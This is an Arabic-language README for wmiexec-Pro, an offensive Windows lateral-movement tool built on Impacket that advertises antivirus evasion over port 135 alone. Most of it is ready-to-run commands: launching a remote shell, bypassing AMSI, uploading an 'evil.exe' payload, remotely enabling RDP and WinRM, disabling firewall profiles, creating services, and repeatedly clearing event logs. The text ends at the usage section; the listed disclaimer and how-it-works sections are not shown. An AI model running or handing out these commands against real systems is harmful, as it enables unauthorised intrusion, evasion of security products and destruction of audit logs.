wmiexec-Pro

الجيل الجديد من wmiexec.py.

جدول المحتويات

1. معلومات
2. شكر خاص
3. الميزات
4. بدء الاستخدام
   • التثبيت
5. الاستخدام
6. لقطات الشاشة
7. كيف يعمل؟
8. إخلاء المسؤولية
9. المراجع

معلومات

الجيل الجديد من wmiexec.py، مع المزيد من الميزات الجديدة، جميع العمليات تعمل فقط مع المنفذ 135 (لا حاجة لاتصال smb) لمراوغة برامج مكافحة الفيروسات في الحركة الجانبية (Windows Defender, HuoRong, 360)

(العودة إلى الأعلى)

شكر خاص

@422926799

(العودة إلى الأعلى)

الميزات

• الميزة الرئيسية: مراوغة برامج مكافحة الفيروسات (AV Evasion)
• الميزة الرئيسية: لا حاجة لـ win32_process
• الميزة الرئيسية: تحتاج فقط إلى المنفذ 135.
• وحدة جديدة: تجاوز AMSI
• وحدة جديدة: نقل الملفات
• وحدة جديدة: تفعيل RDP عن بُعد عبر أسلوب فئة wmi
• وحدة جديدة: إساءة استخدام جدار حماية Windows
• وحدة جديدة: التنظيف المتكرر لسجل الأحداث (Eventlog)
• وحدة جديدة: تفعيل WinRM عن بُعد دون لمس CMD
• وحدة جديدة: مدير الخدمات
• وحدة جديدة: اختطاف RID (RID-Hijack)
• تحسين: الحصول على مخرجات تنفيذ الأوامر بطريقة جديدة
• تحسين: تنفيذ ملف vbs

(العودة إلى الأعلى)

بدء الاستخدام

التثبيت

تحتاج فقط إلى أحدث إصدار من Impacket

1. استنساخ مستودع impacket

   git clone https://github.com/fortra/impacket
   

2. تثبيت impacket

   cd impacket && sudo pip3 install .
   

3. استمتع به :)

   git clone https://github.com/XiaoliChan/wmiexec-Pro
   

(العودة إلى الأعلى)

الاستخدام

python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:[email protected] enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:[email protected] amsi -enable
   python3 wmiexec-pro.py administrator:[email protected] amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:[email protected] winrm -enable
   python3 wmiexec-pro.py administrator:[email protected] winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
   python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)